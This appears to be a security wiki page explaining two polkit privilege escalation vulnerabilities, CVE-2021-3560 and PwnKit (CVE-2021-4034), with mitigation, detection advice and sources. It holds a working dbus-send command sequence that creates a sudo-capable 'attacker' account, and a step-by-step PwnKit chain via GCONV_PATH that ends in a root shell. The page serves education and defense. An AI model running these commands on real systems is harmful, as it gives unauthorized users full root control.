Polkit Privilege Escalation
Polkit (formerly PolicyKit) is the component for controlling system-wide privileges on Unix-like operating systems — it mediates between unprivileged processes and privileged system services, and ships by default on every major Linux distribution that uses systemd. Because its pkexec helper is a SUID-root binary and its daemon sits on the D-Bus system bus, polkit flaws are prime local privilege escalation targets. Two CVEs dominate the landscape: CVE-2021-3560 (a D-Bus race + botched error handling) and CVE-2021-4034 “PwnKit” (a memory corruption in pkexec itself, latent for 12+ years).
CVE-2021-3560: D-Bus race + UID-0 error handling
Found by Kevin Backhouse (GitHub Security Lab), disclosed June 3, 2021. The bug combines a race condition with bad error handling:
- Manually request an action that requires superuser access via D-Bus (e.g.
accountsservice’sCreateUser). - Kill the
dbus-sendprocess after polkit has received the message but before it finishes processing (the race). - Polkit asks
dbus-daemonfor the UID of the requesting connection — but the connection is gone, sodbus-daemonreturns an error. polkit_system_bus_name_get_creds_syncsets theerrorout-parameter but still returnsTRUE; on the vulnerable codepath the caller never checks the error. The credentials struct is zero-initialized, so the requesting user’s UID appears to be 0.- Polkit believes root requested the action and authorizes it without any authentication challenge.
The bug lived in polkit since version 0.113 (commit bfa5036, ~2014); the Debian fork picked it up in 0.105-26, making Ubuntu 20.04 (policykit-1 0.105-26ubuntu1, fixed in 0.105-26ubuntu1.1) and RHEL 8 vulnerable. One nuance: the bypass only fires on polkit actions that carry an imply annotation — on RHEL the accountsservice path needs gnome-control-center installed, but packagekit (installed by default) provides an alternate vector.
Exploitation
Measure how long the request takes, then kill dbus-send at roughly the halfway point:
# 1. Time the CreateUser request
time dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:attacker string:"Pentester Account" int32:1
# 2. Re-run, killing dbus-daemon-side processing at ~half the
# measured time (the three params: username, GECOS, int32:1 =
# grant sudo access)
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:attacker string:"Pentester Account" int32:1 &
sleep ${TIME}s; kill $!
# 3. Confirm the user exists
id attacker
# 4. Hash a password
openssl passwd -6 $PASSWORD
# 5. Same race, against SetPassword on /org/freedesktop/Accounts/User$UID
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply /org/freedesktop/Accounts/User$UID \
org.freedesktop.Accounts.User.SetPassword \
string:'$PASSWORD_HASH' string:'Ask the pentester' &
sleep ${TIME}s; kill $!Then su attacker and you have a sudo-capable account. The timing is non-deterministic (multiple codepaths query the UID; only one is vulnerable), so expect several attempts.
CVE-2021-4034: PwnKit (pkexec memory corruption)
Found by the Qualys Research Team, disclosed January 25, 2022. pkexec is a SUID-root program installed by default on every major Linux distribution, and the vulnerability had been present since its very first commit in May 2009 — over 12 years. Any unprivileged local user gets full root, reliably, architecture-independently, and even when the polkit daemon isn’t running. Qualys verified exploits on default Ubuntu, Debian, Fedora, and CentOS installs.
Mechanism
pkexec’s argument processing assumes argc >= 1. Calling it with an empty argument vector (execve("/usr/bin/pkexec", {NULL}, env)) causes an out-of-bounds read of argv[1] — which lands on envp[0] — followed by an out-of-bounds write when pkexec resolves the “program name” through PATH and writes the full path back over envp[0]. That write primitive lets an attacker re-introduce an “unsecure” environment variable that ld.so strips from SUID programs at startup.
The exploitation chain:
- Create a directory literally named
GCONV_PATH=.containing a filepwnkit, and apwnkit/directory holding a maliciousgconv-modulesconfig plus a shared library that spawns a root shell. - Call
pkexecwithargv = {NULL}and environment{"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit"}. - The OOB write turns
envp[0]intoGCONV_PATH=./pwnkit— smugglingGCONV_PATHinto the environment. - pkexec’s environment sanitization rejects the bogus
SHELLvalue and calls GLib’sg_printerr()to report it. BecauseCHARSETis non-UTF-8,g_printerr()calls glibc’siconv_open()to translate the message — andiconv_open()loads conversion modules fromGCONV_PATH. - The malicious module executes as root (pkexec is SUID), cleans up, and
execs a root shell.
This version of the exploit leaves traces in the logs (“The value for the SHELL variable was not found in /etc/shells” or “suspicious content” warnings). Qualys notes the bug is also exploitable without log traces.
The compact C PoC (arthepsy’s version, derived from the Qualys advisory) is ~20 lines; compile and run: gcc exploit.c -o exploit; ./exploit.
Mitigation
Patch polkit immediately (all versions from 2009 onward are vulnerable). If patches are unavailable, the temporary mitigation is removing the SUID bit: chmod 0755 /usr/bin/pkexec. CISA added CVE-2021-4034 to its Known Exploited Vulnerabilities catalog.
Detection and defense
- Version audit: policykit-1 ≥ 0.105-26ubuntu1.1 (Ubuntu) / 0.119 upstream for CVE-2021-3560; distro-patched polkit for CVE-2021-4034
- Log watch: pkexec invocations with no arguments,
GCONV_PATHin process environments, and the SHELL-validation error messages above - SUID inventory: PwnKit is a reminder that every SUID binary is attack surface — audit with the techniques in suid-shell-executable and unix-permissions
- EDR/file integrity: watch for directories matching
GCONV_PATH=*and unexpectedgconv-modulesfiles
Sources
- Qualys Blog — PwnKit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
- Qualys Security Advisory — pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
- GitHub Blog — Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug (CVE-2021-3560)
- GitHub Security Lab — GHSL-2021-074: Authentication bypass in polkit (CVE-2021-3560)
- NVD — CVE-2021-4034: Polkit pkexec Local Privilege Escalation
- NVD — CVE-2021-3560: Polkit D-Bus Authentication Bypass
Related
- suid-shell-executable — the general SUID privesc class pkexec belongs to
- unix-permissions — SUID/SGID semantics underlying both bugs
- linux-reconnaissance-scripts — automated enumeration that surfaces polkit versions and SUID binaries
- msfconsole — Metasploit’s
local_exploit_suggesterflags unpatched polkit on compromised hosts